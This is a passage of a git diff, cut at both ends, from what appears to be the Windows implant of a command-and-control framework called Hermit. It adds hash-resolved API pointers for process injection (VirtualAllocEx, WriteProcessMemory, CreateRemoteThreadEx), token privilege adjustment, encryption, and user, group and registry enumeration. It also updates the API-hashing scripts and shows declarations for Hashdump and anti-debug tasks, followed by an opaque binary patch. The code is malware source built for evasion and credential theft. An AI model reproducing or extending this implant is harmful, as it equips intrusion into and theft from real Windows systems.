lpcbMaxClassLen, LPDWORD lpcValues, LPDWORD lpcbMaxValueNameLen, LPDWORD lpcbMaxValueLen, LPDWORD lpcbSecurityDescriptor, PFILETIME lpftLastWriteTime); // RtlAddFunctionTable typedef BOOL (WINAPI* LPPROC_RTLADDFUNCTIONTABLE)(PRUNTIME_FUNCTION FunctionTable, DWORD EntryCount, DWORD64 BaseAddress); + // RtlCopyMemory + typedef VOID (WINAPI* LPPROC_RTLCOPYMEMORY)(void* Destination, const void* Source, size_t Length); // SetFileInformationByHandle typedef BOOL (WINAPI* LPPROC_SETFILEINFORMATIONBYHANDLE)(HANDLE hFile, FILE_INFO_BY_HANDLE_CLASS FileInformationClass, LPVOID lpFileInformation, DWORD dwBufferSize); + // SetHandleInformation + typedef BOOL (WINAPI* LPPROC_SETHANDLEINFORMATION)(HANDLE hObject, DWORD dwMask, DWORD dwFlags); + // TerminateProcess + typedef BOOL (WINAPI* LPPROC_TERMINATEPROCESS)(HANDLE hProcess, UINT uExitCode); // VirtualAlloc typedef LPVOID (WINAPI* LPPROC_VIRTUALALLOC)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); + // VirtualAllocEx + typedef LPVOID (WINAPI* LPPROC_VIRTUALALLOCEX)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); // VirtualFree typedef BOOL (WINAPI* LPPROC_VIRTUALFREE)(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); // VirtualProtect typedef BOOL (WINAPI* LPPROC_VIRTUALPROTECT)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); + // VirtualProtectEx + typedef BOOL (WINAPI* LPPROC_VIRTUALPROTECTEX)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); // WinHttpCloseHandle typedef BOOL (WINAPI* LPPROC_WINHTTPCLOSEHANDLE)(HINTERNET hInternet); // WinHttpConnect @@ -252,10 +401,13 @@ namespace Procs typedef BOOL (WINAPI* LPPROC_WINHTTPSETOPTION)(HINTERNET hInternet, DWORD dwOption, LPVOID lpBuffer, DWORD dwBufferLength); // WinHttpWriteData typedef BOOL (WINAPI* LPPROC_WINHTTPWRITEDATA)(HINTERNET hRequest, LPCVOID lpBuffer, DWORD dwNumberOfBytesToWrite, LPDWORD lpdwNumberOfBytesWritten); + // WriteProcessMemory + typedef BOOL (WINAPI* LPPROC_WRITEPROCESSMEMORY)(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten); struct PROCS { // **NTAPI** + LPPROC_LDRLOADDLL lpLdrLoadDll = nullptr; LPPROC_NTADJUSTPRIVILEGESTOKEN lpNtAdjustPrivilegesToken = nullptr; LPPROC_NTALLOCATEVIRTUALMEMORY lpNtAllocateVirtualMemory = nullptr; LPPROC_NTCLOSE lpNtClose = nullptr; @@ -304,10 +456,60 @@ namespace Procs LPPROC_RTLZEROMEMORY lpRtlZeroMemory = nullptr; // **WINAPI** + LPPROC_ADJUSTTOKENPRIVILEGES lpAdjustTokenPrivileges = nullptr; + LPPROC_BCRYPTCLOSEALGORITHMPROVIDER lpBCryptCloseAlgorithmProvider = nullptr; + LPPROC_BCRYPTDECRYPT lpBCryptDecrypt = nullptr; + LPPROC_BCRYPTDESTROYKEY lpBCryptDestroyKey = nullptr; + LPPROC_BCRYPTENCRYPT lpBCryptEncrypt = nullptr; + LPPROC_BCRYPTGENERATESYMMETRICKEY lpBCryptGenerateSymmetricKey = nullptr; + LPPROC_BCRYPTGETPROPERTY lpBCryptGetProperty = nullptr; + LPPROC_BCRYPTOPENALGORITHMPROVIDER lpBCryptOpenAlgorithmProvider = nullptr; + LPPROC_BCRYPTSETPROPERTY lpBCryptSetProperty = nullptr; LPPROC_CHECKREMOTEDEBUGGERPRESENT lpCheckRemoteDebuggerPresent = nullptr; + LPPROC_CLOSEHANDLE lpCloseHandle = nullptr; + LPPROC_CREATEFILEW lpCreateFileW = nullptr; + LPPROC_CREATEPIPE lpCreatePipe = nullptr; + LPPROC_CREATEPROCESSW lpCreateProcessW = nullptr; + LPPROC_CREATEREMOTETHREADEX lpCreateRemoteThreadEx = nullptr; + LPPROC_CRYPTBINARYTOSTRINGW lpCryptBinaryToStringW = nullptr; + LPPROC_CRYPTSTRINGTOBINARYW lpCryptStringToBinaryW = nullptr; + LPPROC_EXPANDENVIRONMENTSTRINGSW lpExpandEnvironmentStringsW = nullptr; + LPPROC_FINDFIRSTFILEW lpFindFirstFileW = nullptr; + LPPROC_FINDNEXTFILEW lpFindNextFileW = nullptr; + LPPROC_FREEENVIRONMENTSTRINGSW lpFreeEnvironmentStringsW = nullptr; + LPPROC_GETCOMPUTERNAMEW lpGetComputerNameW = nullptr; + LPPROC_GETENVIRONMENTSTRINGSW lpGetEnvironmentStringsW = nullptr; + LPPROC_GETLASTERROR lpGetLastError = nullptr; + LPPROC_GETMODULEFILENAMEW lpGetModuleFileNameW = nullptr; + LPPROC_GETPROCESSHEAP lpGetProcessHeap = nullptr; + LPPROC_GETSYSTEMDIRECTORYW lpGetSystemDirectoryW = nullptr; + LPPROC_GETUSERNAMEW lpGetUserNameW = nullptr; + LPPROC_HEAPALLOC lpHeapAlloc = nullptr; + LPPROC_HEAPFREE lpHeapFree = nullptr; LPPROC_ISDEBUGGERPRESENT lpIsDebuggerPresent = nullptr; + LPPROC_LOADLIBRARYA lpLoadLibraryA = nullptr; + LPPROC_LOADLIBRARYW lpLoadLibraryW = nullptr; + LPPROC_LOOKUPPRIVILEGEVALUEW lpLookupPrivilegeValueW = nullptr; + LPPROC_NETAPIBUFFERFREE lpNetApiBufferFree = nullptr; + LPPROC_NETLOCALGROUPENUM lpNetLocalGroupEnum = nullptr; + LPPROC_NETUSERENUM lpNetUserEnum = nullptr; + LPPROC_OPENPROCESS lpOpenProcess = nullptr; + LPPROC_OPENPROCESSTOKEN lpOpenProcessToken = nullptr; + LPPROC_PRIVILEGECHECK lpPrivilegeCheck = nullptr; LPPROC_QUERYFULLPROCESSIMAGENAMEW lpQueryFullProcessImageNameW = nullptr; + LPPROC_READFILE lpReadFile = nullptr; + LPPROC_READPROCESSMEMORY lpReadProcessMemory = nullptr; + LPPROC_REGCLOSEKEY lpRegCloseKey = nullptr; + LPPROC_REGENUMKEYEXW lpRegEnumKeyExW = nullptr; + LPPROC_REGOPENKEYEXW lpRegOpenKeyExW = nullptr; + LPPROC_REGQUERYINFOKEYW lpRegQueryInfoKeyW = nullptr; + LPPROC_RTLCOPYMEMORY lpRtlCopyMemory = nullptr; LPPROC_SETFILEINFORMATIONBYHANDLE lpSetFileInformationByHandle = nullptr; + LPPROC_SETHANDLEINFORMATION lpSetHandleInformation = nullptr; + LPPROC_TERMINATEPROCESS lpTerminateProcess = nullptr; + LPPROC_VIRTUALALLOCEX lpVirtualAllocEx = nullptr; + LPPROC_VIRTUALFREE lpVirtualFree = nullptr; + LPPROC_VIRTUALPROTECTEX lpVirtualProtectEx = nullptr; LPPROC_WINHTTPCLOSEHANDLE lpWinHttpCloseHandle = nullptr; LPPROC_WINHTTPCONNECT lpWinHttpConnect = nullptr; LPPROC_WINHTTPOPEN lpWinHttpOpen = nullptr; @@ -319,8 +521,10 @@ namespace Procs LPPROC_WINHTTPSENDREQUEST lpWinHttpSendRequest = nullptr; LPPROC_WINHTTPSETOPTION lpWinHttpSetOption = nullptr; LPPROC_WINHTTPWRITEDATA lpWinHttpWriteData = nullptr; + LPPROC_WRITEPROCESSMEMORY lpWriteProcessMemory = nullptr; // **SYSCALLS** + Syscalls::SYSCALL sysLdrLoadDll = {0}; Syscalls::SYSCALL sysNtAdjustPrivilegesToken = {0}; Syscalls::SYSCALL sysNtAllocateVirtualMemory = {0}; Syscalls::SYSCALL sysNtClose = {0}; @@ -369,13 +573,21 @@ namespace Procs ULONG StringToHashModule(WCHAR* wStr, SIZE_T dwStrLen); DWORD StringToHashFunc(char* str); PVOID GetModuleByHash(DWORD dwHash); + PVOID LoadModule(PPROCS pProcs, LPWSTR lpDllName); PVOID GetProcAddressByHash(HMODULE hModule, DWORD dwHash); PPROCS FindProcs( HMODULE hNTDLL, HMODULE hKernel32DLL, - HMODULE hWinHTTPDLL, BOOL bIndirectSyscalls ); + VOID FindProcsMisc( + Procs::PPROCS pProcs, + HMODULE hAdvapi32DLL, + HMODULE hBcryptDLL, + HMODULE hCrypt32DLL, + HMODULE hNetapi32DLL, + HMODULE hWinHTTPDLL + ); } #endif // HERMIT_CORE_PROCS_HPP diff --git a/payload/win/implant/include/core/state.hpp b/payload/win/implant/include/core/state.hpp index 289aea5..bc1bb6b 100644 --- a/payload/win/implant/include/core/state.hpp +++ b/payload/win/implant/include/core/state.hpp @@ -25,7 +25,11 @@ namespace State PTEB pTeb; // Module handlers + HMODULE hAdvapi32DLL; + HMODULE hBcryptDLL; + HMODULE hCrypt32DLL; HMODULE hKernel32DLL; + HMODULE hNetapi32DLL; HMODULE hNTDLL; HMODULE hWinHTTPDLL; diff --git a/payload/win/implant/include/core/system.hpp b/payload/win/implant/include/core/system.hpp index 68f106c..cf3517a 100644 --- a/payload/win/implant/include/core/system.hpp +++ b/payload/win/implant/include/core/system.hpp @@ -8,7 +8,7 @@ #include "core/utils.hpp" #include -#include +// #include #include #include #include @@ -44,14 +44,14 @@ namespace System::Env namespace System::Group { - std::vector AllGroupsGet(); + std::vector AllGroupsGet(Procs::PPROCS pProcs); } namespace System::User { std::wstring ComputerNameGet(Procs::PPROCS pProcs); std::wstring UserNameGet(Procs::PPROCS pProcs); - std::vector AllUsersGet(); + std::vector AllUsersGet(Procs::PPROCS pProcs); } namespace System::Priv @@ -287,6 +287,7 @@ namespace System::Registry const std::wstring& wRootKey ); std::vector RegEnumSubKeys( + Procs::PPROCS pProcs, HKEY hRootKey, const std::wstring& wSubKey, DWORD dwOptions, diff --git a/payload/win/implant/include/core/task.hpp b/payload/win/implant/include/core/task.hpp index 9665fd3..922a915 100644 --- a/payload/win/implant/include/core/task.hpp +++ b/payload/win/implant/include/core/task.hpp @@ -4,6 +4,7 @@ #include #include "core/macros.hpp" +#include "core/win32.hpp" #include "core/state.hpp" #include "core/stdout.hpp" #include "core/system.hpp" @@ -12,8 +13,6 @@ #include #include -#include -#include #include #include #include @@ -141,7 +140,7 @@ namespace Task std::wstring Download(State::PSTATE pState, const std::wstring& wSrc, const std::wstring& wDest); std::wstring EnvLs(State::PSTATE pState); std::wstring Find(State::PSTATE pState, const std::wstring& wPath, const std::wstring& wName); - std::wstring GroupLs(); + std::wstring GroupLs(State::PSTATE pState); std::wstring Hashdump(State::PSTATE pState); std::wstring History(State::PSTATE pState); std::wstring Ip(); diff --git a/payload/win/implant/include/core/technique.hpp b/payload/win/implant/include/core/technique.hpp index b4920a3..f238f51 100644 --- a/payload/win/implant/include/core/technique.hpp +++ b/payload/win/implant/include/core/technique.hpp @@ -8,7 +8,6 @@ #include #include -typedef ULONG_PTR (WINAPI * LPPROC_REFLECTIVEDLLLOADER)(); typedef BOOL (WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID); // Used for Anti-Debug diff --git a/payload/win/implant/include/core/utils.hpp b/payload/win/implant/include/core/utils.hpp index 06f9af8..cfd89db 100644 --- a/payload/win/implant/include/core/utils.hpp +++ b/payload/win/implant/include/core/utils.hpp @@ -46,4 +46,10 @@ namespace Utils::Split std::vector Split(std::wstring text, wchar_t delimiter); } +namespace Utils::Strings +{ + SIZE_T StrLenA(LPCSTR str); + SIZE_T StrLenW(LPCWSTR str); +} + #endif // HERMIT_CORE_UTILS_HPP \ No newline at end of file diff --git a/payload/win/implant/include/core/win32.hpp b/payload/win/implant/include/core/win32.hpp new file mode 100644 index 0000000..76c85f0 --- /dev/null +++ b/payload/win/implant/include/core/win32.hpp @@ -0,0 +1,6 @@ +#ifndef HERMIT_CORE_WIN32_HPP +#define HERMIT_CORE_WIN32_HPP + +typedef DWORD NET_API_STATUS; + +#endif // HERMIT_CORE_WIN32_HPP \ No newline at end of file diff --git a/payload/win/implant/include/rfl.hpp b/payload/win/implant/include/rfl.hpp index b6ccbd1..7fe1d99 100644 --- a/payload/win/implant/include/rfl.hpp +++ b/payload/win/implant/include/rfl.hpp @@ -5,7 +5,6 @@ #include -typedef ULONG_PTR (WINAPI * REFLECTIVEDLLLOADER)(); typedef BOOL (WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID); extern "C" LPVOID ReflectiveCaller(); diff --git a/payload/win/implant/script/calc_hash_func.py b/payload/win/implant/script/calc_hash_func.py index b6883b8..3e55ce4 100644 --- a/payload/win/implant/script/calc_hash_func.py +++ b/payload/win/implant/script/calc_hash_func.py @@ -1,7 +1,7 @@ from typing import Mapping FUNCS = [ - # NATIVE APIS + # NTAPI "LdrLoadDll", "NtAdjustPrivilegesToken", "NtAllocateVirtualMemory", @@ -52,23 +52,69 @@ "RtlStringCchLengthW", "RtlZeroMemory", - # WINAPIS + # WINAPI + "AdjustTokenPrivileges", + "BCryptCloseAlgorithmProvider", + "BCryptDecrypt", + "BCryptDestroyKey", + "BCryptEncrypt", + "BCryptGenerateSymmetricKey", + "BCryptGetProperty", + "BCryptOpenAlgorithmProvider", + "BCryptSetProperty", "CheckRemoteDebuggerPresent", "CloseHandle", + "CreateFileW", + "CreatePipe", + "CreateProcessW", + "CreateRemoteThreadEx", "CreateThreadpoolWait", + "CryptBinaryToStringW", + "CryptStringToBinaryW", "DllMain", + "ExpandEnvironmentStringsW", + "FindFirstFileW", + "FindNextFileW", + "FreeEnvironmentStringsW", + "GetComputerNameW", + "GetEnvironmentStringsW", + "GetLastError", + "GetModuleFileNameW", "GetProcAddress", + "GetProcessHeap", + "GetSystemDirectoryW", + "GetUserNameW", + "HeapAlloc", + "HeapFree", "IsDebuggerPresent", "LoadLibraryA", "LoadLibraryW", + "LookupPrivilegeValueW", "MessageBoxA", "MessageBoxW", + "NetApiBufferFree", + "NetLocalGroupEnum", + "NetUserEnum", + "OpenProcess", + "OpenProcessToken", + "PrivilegeCheck", "QueryFullProcessImageNameW", + "ReadFile", + "ReadProcessMemory", + "RegCloseKey", + "RegEnumKeyExW", + "RegOpenKeyExW", + "RegQueryInfoKeyW", "RtlAddFunctionTable", + "RtlCopyMemory", "SetFileInformationByHandle", + "SetHandleInformation", "SetThreadpoolWait", + "TerminateProcess", "VirtualAlloc", + "VirtualAllocEx", "VirtualProtect", + "VirtualProtectEx", "VirtualFree", "WinHttpCloseHandle", "WinHttpConnect", @@ -81,6 +127,7 @@ "WinHttpSendRequest", "WinHttpSetOption", "WinHttpWriteData", + "WriteProcessMemory", ] HASH_IV = 0x35 @@ -111,7 +158,7 @@ def main(): hash_fmt = f"{'0x{0:x}'.format(hash_value)}" # Check if the hash is duplicate if is_dupl(hashes, hash_fmt) is True: - print("The calculated hash is duplicate. Please try again.") + print("The calculated hash is duplicate. Please update algorithm.") return hashes[f"#define HASH_FUNC_{func.upper()}"] = hash_fmt diff --git a/payload/win/implant/script/calc_hash_module b/payload/win/implant/script/calc_hash_module index 1c1f5dcbd7fc11545ab3cfbcfd9372cddf395845..b53967a5270422c1a0ec2e78a670844e8ad4690c 100755 GIT binary patch delta 6965 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 X@HA-+qnH0n_0?Zn__j2+AN2ZPlo8;b delta 6603 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 JYyCl={{Up?D>DE9 diff --git a/payload/win/implant/script/calc_hash_module.cpp b/payload/win/implant/script/calc_hash_module.cpp index 24da675..71f5a68 100644 --- a/payload/win/implant/script/calc_hash_module.cpp +++ b/payload/win/implant/script/calc_hash_module.cpp @@ -40,9 +40,17 @@ int main() { std::map myMap; - char modules[2][30] = {"kernel32.dll", "ntdll.dll"}; + char modules[7][30] = { + "bcrypt.dll", + "crypt32.dll", + "kernel32.dll", + "netapi32.dll", + "ntdll.dll", + "user32.dll", + "winhttp.dll", + }; - for (int i = 0; i < 2; i++) + for (int i = 0; i < 7; i++) { char* moduleUpper = toUpper(modules[i]); diff --git a/payload/win/implant/src/core/crypt.cpp b/payload/win/implant/src/core/crypt.cpp index 631f955..9902692 100644 --- a/payload/win/implant/src/core/crypt.cpp +++ b/payload/win/implant/src/core/crypt.cpp @@ -2,11 +2,11 @@ namespace Crypt { - std::wstring Base64Encode(const std::vector& data) + std::wstring Base64Encode(Procs::PPROCS pProcs, const std::vector& data) { // Get correct size. DWORD dw64Len = 0; - if (!CryptBinaryToStringW( + if (!pProcs->lpCryptBinaryToStringW( data.data(), static_cast(data.size()), CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, @@ -18,7 +18,7 @@ namespace Crypt // Encode std::vector w64(dw64Len); - if (!CryptBinaryToStringW( 